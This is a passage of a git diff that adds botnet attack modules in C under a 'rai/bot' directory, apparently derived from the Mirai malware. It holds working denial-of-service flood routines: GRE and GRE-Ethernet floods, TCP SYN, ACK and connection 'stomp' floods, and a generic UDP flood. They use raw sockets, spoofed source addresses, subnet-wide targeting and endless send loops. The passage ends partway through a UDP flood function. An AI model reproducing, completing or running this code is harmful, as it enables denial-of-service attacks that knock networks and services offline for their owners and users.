+ if (!gcip)
+ greiph->daddr = rand_next();
+ else
+ greiph->daddr = iph->daddr;
+
+ if (data_rand)
+ rand_str(data, data_len);
+
+ iph->check = 0;
+ iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));
+
+ greiph->check = 0;
+ greiph->check = checksum_generic((uint16_t *)greiph, sizeof (struct iphdr));
+
+ udph->check = 0;
+ udph->check = checksum_tcpudp(greiph, udph, udph->len, sizeof (struct udphdr) + data_len);
+
+ targs[i].sock_addr.sin_family = AF_INET;
+ targs[i].sock_addr.sin_addr.s_addr = iph->daddr;
+ targs[i].sock_addr.sin_port = 0;
+ sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct grehdr) + sizeof (struct iphdr) + sizeof (struct udphdr) + data_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in));
+ }
+
+#ifdef DEBUG
+ if (errno != 0)
+ printf("errno = %d\n", errno);
+ break;
+#endif
+ }
+}
+
+void attack_gre_eth(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
+{
+ int i, fd;
+ char **pkts = calloc(targs_len, sizeof (char *));
+ uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0);
+ uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff);
+ uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64);
+ BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, TRUE);
+ port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff);
+ port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff);
+ int data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 512);
+ BOOL data_rand = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_RAND, TRUE);
+ BOOL gcip = attack_get_opt_int(opts_len, opts, ATK_OPT_GRE_CONSTIP, FALSE);
+ uint32_t source_ip = attack_get_opt_int(opts_len, opts, ATK_OPT_SOURCE, LOCAL_ADDR);
+
+ if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
+ {
+#ifdef DEBUG
+ printf("Failed to create raw socket. Aborting attack\n");
+#endif
+ return;
+ }
+ i = 1;
+ if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1)
+ {
+#ifdef DEBUG
+ printf("Failed to set IP_HDRINCL. Aborting\n");
+#endif
+ close(fd);
+ return;
+ }
+
+ for (i = 0; i < targs_len; i++)
+ {
+ struct iphdr *iph;
+ struct grehdr *greh;
+ struct ethhdr *ethh;
+ struct iphdr *greiph;
+ struct udphdr *udph;
+ uint32_t ent1, ent2, ent3;
+
+ pkts[i] = calloc(1510, sizeof (char *));
+ iph = (struct iphdr *)(pkts[i]);
+ greh = (struct grehdr *)(iph + 1);
+ ethh = (struct ethhdr *)(greh + 1);
+ greiph = (struct iphdr *)(ethh + 1);
+ udph = (struct udphdr *)(greiph + 1);
+
+ // IP header init
+ iph->version = 4;
+ iph->ihl = 5;
+ iph->tos = ip_tos;
+ iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct grehdr) + sizeof (struct ethhdr) + sizeof (struct iphdr) + sizeof (struct udphdr) + data_len);
+ iph->id = htons(ip_ident);
+ iph->ttl = ip_ttl;
+ if (dont_frag)
+ iph->frag_off = htons(1 << 14);
+ iph->protocol = IPPROTO_GRE;
+ iph->saddr = source_ip;
+ iph->daddr = targs[i].addr;
+
+ // GRE header init
+ greh->protocol = htons(PROTO_GRE_TRANS_ETH); // Protocol is 2 bytes
+
+ // Ethernet header init
+ ethh->h_proto = htons(ETH_P_IP);
+
+ // Encapsulated IP header init
+ greiph->version = 4;
+ greiph->ihl = 5;
+ greiph->tos = ip_tos;
+ greiph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct udphdr) + data_len);
+ greiph->id = htons(~ip_ident);
+ greiph->ttl = ip_ttl;
+ if (dont_frag)
+ greiph->frag_off = htons(1 << 14);
+ greiph->protocol = IPPROTO_UDP;
+ greiph->saddr = rand_next();
+ if (gcip)
+ greiph->daddr = iph->daddr;
+ else
+ greiph->daddr = ~(greiph->saddr - 1024);
+
+ // UDP header init
+ udph->source = htons(sport);
+ udph->dest = htons(dport);
+ udph->len = htons(sizeof (struct udphdr) + data_len);
+ }
+
+ while (TRUE)
+ {
+ for (i = 0; i < targs_len; i++)
+ {
+ char *pkt = pkts[i];
+ struct iphdr *iph = (struct iphdr *)pkt;
+ struct grehdr *greh = (struct grehdr *)(iph + 1);
+ struct ethhdr *ethh = (struct ethhdr *)(greh + 1);
+ struct iphdr *greiph = (struct iphdr *)(ethh + 1);
+ struct udphdr *udph = (struct udphdr *)(greiph + 1);
+ char *data = (char *)(udph + 1);
+ uint32_t ent1, ent2, ent3;
+
+ // For prefix attacks
+ if (targs[i].netmask < 32)
+ iph->daddr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask));
+
+ if (source_ip == 0xffffffff)
+ iph->saddr = rand_next();
+
+ if (ip_ident == 0xffff)
+ {
+ iph->id = rand_next() & 0xffff;
+ greiph->id = ~(iph->id - 1000);
+ }
+ if (sport == 0xffff)
+ udph->source = rand_next() & 0xffff;
+ if (dport == 0xffff)
+ udph->dest = rand_next() & 0xffff;
+
+ if (!gcip)
+ greiph->daddr = rand_next();
+ else
+ greiph->daddr = iph->daddr;
+
+ ent1 = rand_next();
+ ent2 = rand_next();
+ ent3 = rand_next();
+ util_memcpy(ethh->h_dest, (char *)&ent1, 4);
+ util_memcpy(ethh->h_source, (char *)&ent2, 4);
+ util_memcpy(ethh->h_dest + 4, (char *)&ent3, 2);
+ util_memcpy(ethh->h_source + 4, (((char *)&ent3)) + 2, 2);
+
+ if (data_rand)
+ rand_str(data, data_len);
+
+ iph->check = 0;
+ iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));
+
+ greiph->check = 0;
+ greiph->check = checksum_generic((uint16_t *)greiph, sizeof (struct iphdr));
+
+ udph->check = 0;
+ udph->check = checksum_tcpudp(greiph, udph, udph->len, sizeof (struct udphdr) + data_len);
+
+ targs[i].sock_addr.sin_family = AF_INET;
+ targs[i].sock_addr.sin_addr.s_addr = iph->daddr;
+ targs[i].sock_addr.sin_port = 0;
+ sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct grehdr) + sizeof (struct ethhdr) + sizeof (struct iphdr) + sizeof (struct udphdr) + data_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in));
+ }
+
+#ifdef DEBUG
+ if (errno != 0)
+ printf("errno = %d\n", errno);
+ break;
+#endif
+ }
+}
diff --git a/rai/bot/attack_tcp.c b/rai/bot/attack_tcp.c
new file mode 100644
index 0000000..4d71527
--- /dev/null
+++ b/rai/bot/attack_tcp.c
@@ -0,0 +1,489 @@
+#define _GNU_SOURCE
+
+#ifdef DEBUG
+#include
+#endif
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include "includes.h"
+#include "attack.h"
+#include "checksum.h"
+#include "rand.h"
+
+void attack_tcp_syn(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
+{
+ int i, fd;
+ char **pkts = calloc(targs_len, sizeof (char *));
+ uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0);
+ uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff);
+ uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64);
+ BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, TRUE);
+ port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff);
+ port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff);
+ uint32_t seq = attack_get_opt_int(opts_len, opts, ATK_OPT_SEQRND, 0xffff);
+ uint32_t ack = attack_get_opt_int(opts_len, opts, ATK_OPT_ACKRND, 0);
+ BOOL urg_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_URG, FALSE);
+ BOOL ack_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_ACK, FALSE);
+ BOOL psh_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_PSH, FALSE);
+ BOOL rst_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_RST, FALSE);
+ BOOL syn_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_SYN, TRUE);
+ BOOL fin_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_FIN, FALSE);
+ uint32_t source_ip = attack_get_opt_ip(opts_len, opts, ATK_OPT_SOURCE, LOCAL_ADDR);
+
+ if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
+ {
+#ifdef DEBUG
+ printf("Failed to create raw socket. Aborting attack\n");
+#endif
+ return;
+ }
+
+ i = 1;
+ if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1)
+ {
+#ifdef DEBUG
+ printf("Failed to set IP_HDRINCL. Aborting\n");
+#endif
+ close(fd);
+ return;
+ }
+
+ for (i = 0; i < targs_len; i++)
+ {
+ struct iphdr *iph;
+ struct tcphdr *tcph;
+ uint8_t *opts;
+
+ pkts[i] = calloc(128, sizeof (char));
+ iph = (struct iphdr *)pkts[i];
+ tcph = (struct tcphdr *)(iph + 1);
+ opts = (uint8_t *)(tcph + 1);
+
+ iph->version = 4;
+ iph->ihl = 5;
+ iph->tos = ip_tos;
+ iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct tcphdr) + 20);
+ iph->id = htons(ip_ident);
+ iph->ttl = ip_ttl;
+ if (dont_frag)
+ iph->frag_off = htons(1 << 14);
+ iph->protocol = IPPROTO_TCP;
+ iph->saddr = source_ip;
+ iph->daddr = targs[i].addr;
+
+ tcph->source = htons(sport);
+ tcph->dest = htons(dport);
+ tcph->seq = htons(seq);
+ tcph->doff = 10;
+ tcph->urg = urg_fl;
+ tcph->ack = ack_fl;
+ tcph->psh = psh_fl;
+ tcph->rst = rst_fl;
+ tcph->syn = syn_fl;
+ tcph->fin = fin_fl;
+
+ // TCP MSS
+ *opts++ = PROTO_TCP_OPT_MSS; // Kind
+ *opts++ = 4; // Length
+ *((uint16_t *)opts) = htons(1400 + (rand_next() & 0x0f));
+ opts += sizeof (uint16_t);
+
+ // TCP SACK permitted
+ *opts++ = PROTO_TCP_OPT_SACK;
+ *opts++ = 2;
+
+ // TCP timestamps
+ *opts++ = PROTO_TCP_OPT_TSVAL;
+ *opts++ = 10;
+ *((uint32_t *)opts) = rand_next();
+ opts += sizeof (uint32_t);
+ *((uint32_t *)opts) = 0;
+ opts += sizeof (uint32_t);
+
+ // TCP nop
+ *opts++ = 1;
+
+ // TCP window scale
+ *opts++ = PROTO_TCP_OPT_WSS;
+ *opts++ = 3;
+ *opts++ = 6; // 2^6 = 64, window size scale = 64
+ }
+
+ while (TRUE)
+ {
+ for (i = 0; i < targs_len; i++)
+ {
+ char *pkt = pkts[i];
+ struct iphdr *iph = (struct iphdr *)pkt;
+ struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
+
+ // For prefix attacks
+ if (targs[i].netmask < 32)
+ iph->daddr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask));
+
+ if (source_ip == 0xffffffff)
+ iph->saddr = rand_next();
+ if (ip_ident == 0xffff)
+ iph->id = rand_next() & 0xffff;
+ if (sport == 0xffff)
+ tcph->source = rand_next() & 0xffff;
+ if (dport == 0xffff)
+ tcph->dest = rand_next() & 0xffff;
+ if (seq == 0xffff)
+ tcph->seq = rand_next();
+ if (ack == 0xffff)
+ tcph->ack_seq = rand_next();
+ if (urg_fl)
+ tcph->urg_ptr = rand_next() & 0xffff;
+
+ iph->check = 0;
+ iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));
+
+ tcph->check = 0;
+ tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr) + 20), sizeof (struct tcphdr) + 20);
+
+ targs[i].sock_addr.sin_port = tcph->dest;
+ sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct tcphdr) + 20, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in));
+ }
+#ifdef DEBUG
+ break;
+ if (errno != 0)
+ printf("errno = %d\n", errno);
+#endif
+ }
+}
+
+void attack_tcp_ack(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
+{
+ int i, fd;
+ char **pkts = calloc(targs_len, sizeof (char *));
+ uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0);
+ uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff);
+ uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64);
+ BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, FALSE);
+ port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff);
+ port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff);
+ uint32_t seq = attack_get_opt_int(opts_len, opts, ATK_OPT_SEQRND, 0xffff);
+ uint32_t ack = attack_get_opt_int(opts_len, opts, ATK_OPT_ACKRND, 0xffff);
+ BOOL urg_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_URG, FALSE);
+ BOOL ack_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_ACK, TRUE);
+ BOOL psh_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_PSH, FALSE);
+ BOOL rst_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_RST, FALSE);
+ BOOL syn_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_SYN, FALSE);
+ BOOL fin_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_FIN, FALSE);
+ int data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 512);
+ BOOL data_rand = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_RAND, TRUE);
+ uint32_t source_ip = attack_get_opt_ip(opts_len, opts, ATK_OPT_SOURCE, LOCAL_ADDR);
+
+ if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
+ {
+#ifdef DEBUG
+ printf("Failed to create raw socket. Aborting attack\n");
+#endif
+ return;
+ }
+ i = 1;
+ if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1)
+ {
+#ifdef DEBUG
+ printf("Failed to set IP_HDRINCL. Aborting\n");
+#endif
+ close(fd);
+ return;
+ }
+
+ for (i = 0; i < targs_len; i++)
+ {
+ struct iphdr *iph;
+ struct tcphdr *tcph;
+ char *payload;
+
+ pkts[i] = calloc(1510, sizeof (char));
+ iph = (struct iphdr *)pkts[i];
+ tcph = (struct tcphdr *)(iph + 1);
+ payload = (char *)(tcph + 1);
+
+ iph->version = 4;
+ iph->ihl = 5;
+ iph->tos = ip_tos;
+ iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len);
+ iph->id = htons(ip_ident);
+ iph->ttl = ip_ttl;
+ if (dont_frag)
+ iph->frag_off = htons(1 << 14);
+ iph->protocol = IPPROTO_TCP;
+ iph->saddr = source_ip;
+ iph->daddr = targs[i].addr;
+
+ tcph->source = htons(sport);
+ tcph->dest = htons(dport);
+ tcph->seq = htons(seq);
+ tcph->doff = 5;
+ tcph->urg = urg_fl;
+ tcph->ack = ack_fl;
+ tcph->psh = psh_fl;
+ tcph->rst = rst_fl;
+ tcph->syn = syn_fl;
+ tcph->fin = fin_fl;
+ tcph->window = rand_next() & 0xffff;
+ if (psh_fl)
+ tcph->psh = TRUE;
+
+ rand_str(payload, data_len);
+ }
+
+// targs[0].sock_addr.sin_port = tcph->dest;
+// if (sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[0].sock_addr, sizeof (struct sockaddr_in)) < 1)
+// {
+//
+// }
+
+ while (TRUE)
+ {
+ for (i = 0; i < targs_len; i++)
+ {
+ char *pkt = pkts[i];
+ struct iphdr *iph = (struct iphdr *)pkt;
+ struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
+ char *data = (char *)(tcph + 1);
+
+ // For prefix attacks
+ if (targs[i].netmask < 32)
+ iph->daddr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask));
+
+ if (source_ip == 0xffffffff)
+ iph->saddr = rand_next();
+ if (ip_ident == 0xffff)
+ iph->id = rand_next() & 0xffff;
+ if (sport == 0xffff)
+ tcph->source = rand_next() & 0xffff;
+ if (dport == 0xffff)
+ tcph->dest = rand_next() & 0xffff;
+ if (seq == 0xffff)
+ tcph->seq = rand_next();
+ if (ack == 0xffff)
+ tcph->ack_seq = rand_next();
+
+ // Randomize packet content?
+ if (data_rand)
+ rand_str(data, data_len);
+
+ iph->check = 0;
+ iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));
+
+ tcph->check = 0;
+ tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr) + data_len), sizeof (struct tcphdr) + data_len);
+
+ targs[i].sock_addr.sin_port = tcph->dest;
+ sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in));
+ }
+#ifdef DEBUG
+ break;
+ if (errno != 0)
+ printf("errno = %d\n", errno);
+#endif
+ }
+}
+
+void attack_tcp_stomp(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
+{
+ int i, rfd;
+ struct attack_stomp_data *stomp_data = calloc(targs_len, sizeof (struct attack_stomp_data));
+ char **pkts = calloc(targs_len, sizeof (char *));
+ uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0);
+ uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff);
+ uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64);
+ BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, TRUE);
+ port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff);
+ BOOL urg_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_URG, FALSE);
+ BOOL ack_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_ACK, TRUE);
+ BOOL psh_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_PSH, TRUE);
+ BOOL rst_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_RST, FALSE);
+ BOOL syn_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_SYN, FALSE);
+ BOOL fin_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_FIN, FALSE);
+ int data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 768);
+ BOOL data_rand = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_RAND, TRUE);
+
+ // Set up receive socket
+ if ((rfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
+ {
+#ifdef DEBUG
+ printf("Could not open raw socket!\n");
+#endif
+ return;
+ }
+ i = 1;
+ if (setsockopt(rfd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1)
+ {
+#ifdef DEBUG
+ printf("Failed to set IP_HDRINCL. Aborting\n");
+#endif
+ close(rfd);
+ return;
+ }
+
+ // Retrieve all ACK/SEQ numbers
+ for (i = 0; i < targs_len; i++)
+ {
+ int fd;
+ struct sockaddr_in addr, recv_addr;
+ socklen_t recv_addr_len;
+ char pktbuf[256];
+ time_t start_recv;
+
+ stomp_setup_nums:
+
+ if ((fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
+ {
+#ifdef DEBUG
+ printf("Failed to create socket!\n");
+#endif
+ continue;
+ }
+
+ // Set it in nonblocking mode
+ fcntl(fd, F_SETFL, fcntl(fd, F_GETFL, 0) | O_NONBLOCK);
+
+ // Set up address to connect to
+ addr.sin_family = AF_INET;
+ if (targs[i].netmask < 32)
+ addr.sin_addr.s_addr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask));
+ else
+ addr.sin_addr.s_addr = targs[i].addr;
+ if (dport == 0xffff)
+ addr.sin_port = rand_next() & 0xffff;
+ else
+ addr.sin_port = htons(dport);
+
+ // Actually connect, nonblocking
+ connect(fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in));
+ start_recv = time(NULL);
+
+ // Get info
+ while (TRUE)
+ {
+ int ret;
+
+ recv_addr_len = sizeof (struct sockaddr_in);
+ ret = recvfrom(rfd, pktbuf, sizeof (pktbuf), MSG_NOSIGNAL, (struct sockaddr *)&recv_addr, &recv_addr_len);
+ if (ret == -1)
+ {
+#ifdef DEBUG
+ printf("Could not listen on raw socket!\n");
+#endif
+ return;
+ }
+ if (recv_addr.sin_addr.s_addr == addr.sin_addr.s_addr && ret > (sizeof (struct iphdr) + sizeof (struct tcphdr)))
+ {
+ struct tcphdr *tcph = (struct tcphdr *)(pktbuf + sizeof (struct iphdr));
+
+ if (tcph->source == addr.sin_port)
+ {
+ if (tcph->syn && tcph->ack)
+ {
+ struct iphdr *iph;
+ struct tcphdr *tcph;
+ char *payload;
+
+ stomp_data[i].addr = addr.sin_addr.s_addr;
+ stomp_data[i].seq = ntohl(tcph->seq);
+ stomp_data[i].ack_seq = ntohl(tcph->ack_seq);
+ stomp_data[i].sport = tcph->dest;
+ stomp_data[i].dport = addr.sin_port;
+#ifdef DEBUG
+ printf("ACK Stomp got SYN+ACK!\n");
+#endif
+ // Set up the packet
+ pkts[i] = malloc(sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len);
+ iph = (struct iphdr *)pkts[i];
+ tcph = (struct tcphdr *)(iph + 1);
+ payload = (char *)(tcph + 1);
+
+ iph->version = 4;
+ iph->ihl = 5;
+ iph->tos = ip_tos;
+ iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len);
+ iph->id = htons(ip_ident);
+ iph->ttl = ip_ttl;
+ if (dont_frag)
+ iph->frag_off = htons(1 << 14);
+ iph->protocol = IPPROTO_TCP;
+ iph->saddr = LOCAL_ADDR;
+ iph->daddr = stomp_data[i].addr;
+
+ tcph->source = stomp_data[i].sport;
+ tcph->dest = stomp_data[i].dport;
+ tcph->seq = stomp_data[i].ack_seq;
+ tcph->ack_seq = stomp_data[i].seq;
+ tcph->doff = 8;
+ tcph->fin = TRUE;
+ tcph->ack = TRUE;
+ tcph->window = rand_next() & 0xffff;
+ tcph->urg = urg_fl;
+ tcph->ack = ack_fl;
+ tcph->psh = psh_fl;
+ tcph->rst = rst_fl;
+ tcph->syn = syn_fl;
+ tcph->fin = fin_fl;
+
+ rand_str(payload, data_len);
+ break;
+ }
+ else if (tcph->fin || tcph->rst)
+ {
+ close(fd);
+ goto stomp_setup_nums;
+ }
+ }
+ }
+
+ if (time(NULL) - start_recv > 10)
+ {
+#ifdef DEBUG
+ printf("Couldn't connect to host for ACK Stomp in time. Retrying\n");
+#endif
+ close(fd);
+ goto stomp_setup_nums;
+ }
+ }
+ }
+
+ // Start spewing out traffic
+ while (TRUE)
+ {
+ for (i = 0; i < targs_len; i++)
+ {
+ char *pkt = pkts[i];
+ struct iphdr *iph = (struct iphdr *)pkt;
+ struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
+ char *data = (char *)(tcph + 1);
+
+ if (ip_ident == 0xffff)
+ iph->id = rand_next() & 0xffff;
+
+ if (data_rand)
+ rand_str(data, data_len);
+
+ iph->check = 0;
+ iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));
+
+ tcph->seq = htons(stomp_data[i].seq++);
+ tcph->ack_seq = htons(stomp_data[i].ack_seq);
+ tcph->check = 0;
+ tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr) + data_len), sizeof (struct tcphdr) + data_len);
+
+ targs[i].sock_addr.sin_port = tcph->dest;
+ sendto(rfd, pkt, sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in));
+ }
+#ifdef DEBUG
+ break;
+ if (errno != 0)
+ printf("errno = %d\n", errno);
+#endif
+ }
+}
diff --git a/rai/bot/attack_udp.c b/rai/bot/attack_udp.c
new file mode 100644
index 0000000..484f5a1
--- /dev/null
+++ b/rai/bot/attack_udp.c
@@ -0,0 +1,547 @@
+#define _GNU_SOURCE
+
+#ifdef DEBUG
+#include
+#endif
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+
+#include "includes.h"
+#include "attack.h"
+#include "checksum.h"
+#include "rand.h"
+#include "util.h"
+#include "table.h"
+#include "protocol.h"
+
+static ipv4_t get_dns_resolver(void);
+
+void attack_udp_generic(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
+{
+ int i, fd;
+ char **pkts = calloc(targs_len, sizeof (char *));
+ uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0);
+ uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff);
+ uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64);
+ BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, FALSE);
+ port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff);
+ port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff);
+ uint16_t data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 512);
+ BOOL data_rand = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_RAND, TRUE);
+ uint32_t source_ip = attack_get_opt_int(opts_len, opts, ATK_OPT_SOURCE, LOCAL_ADDR);
+
+ if (data_len > 1460)
+ data_len = 1460;
+
+ if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP)) == -1)
+ {
+#ifdef DEBUG
+ printf("Failed to create raw socket. Aborting attack\n");
+#endif
+ return;
+ }
+ i = 1;
+ if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1)
+ {
+#ifdef DEBUG
+ printf("Failed to set IP_HDRINCL. Aborting\n");
+#endif
+ close(fd);
+ return;
+ }
+
+ for (i = 0; i < targs_len; i++)
+ {
+ struct iphdr *iph;
+ struct udphdr *udph;
+
+ pkts[i] = calloc(1510, sizeof (char));
+ iph = (struct iphdr *)pkts[i];
+ udph = (struct udphdr *)(iph + 1);
+
+ iph->version = 4;
+ iph->ihl = 5;
+ iph->tos = ip_tos;
+ iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct udphdr) + data_len);
+ iph->id = htons(ip_ident);
+ iph->ttl = ip_ttl;
+ if (dont_frag)
+ iph->frag_off = htons(1 << 14);
+ iph->protocol = IPPROTO_UDP;
+ iph->saddr = source_ip;
+ iph->daddr = targs[i].addr;
+
+ udph->source = htons(sport);
+ udph->dest = htons(dport);
+ udph->len = htons(sizeof (struct udphdr) + data_len);
+ }
+
+ while (TRUE)
+ {
+ for (i = 0; i < targs_len; i++)
+ {
+ char *pkt = pkts[i];
+ struct iphdr *iph = (struct iphdr *)pkt;
+ struct udphdr *udph = (struct udphdr *)(iph + 1);
+ char *data = (char *)(udph + 1);
+
+ // For prefix attacks
+ if (targs[i].netmask < 32)
+ iph->daddr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask));
+
+ if (source_ip == 0xffffffff)
+ iph->saddr = rand_next();
+
+ if (ip_ident == 0xffff)
+ iph->id = (uint16_t)rand_next();
+ if (sport == 0xffff)
+ udph->source = rand_next();
+ if (dport == 0xffff)
+ udph->dest = rand_next();
+
+ // Randomize packet content?
+ if (data_rand)
+ rand_str(data, data_len);
+
+ iph->check = 0;
+ iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));
+
+ udph->check = 0;
+ udph->check = checksum_tcpudp(iph, udph, udph->len, sizeof (struct udphdr) + data_len);
+
+ targs[i].sock_addr.sin_port = udph->dest;
+ sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct udphdr) + data_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in));
+ }
+#ifdef DEBUG
+ break;
+ if (errno != 0)
+ printf("errno = %d\n", errno);
+#endif
+ }
+}
+
+void attack_udp_vse(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
+{
+ int i, fd;
+ char **pkts = calloc(targs_len, sizeof (char *));
+ uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0);
+ uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff);
+ uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64);
+ BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, FALSE);
+ port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff);
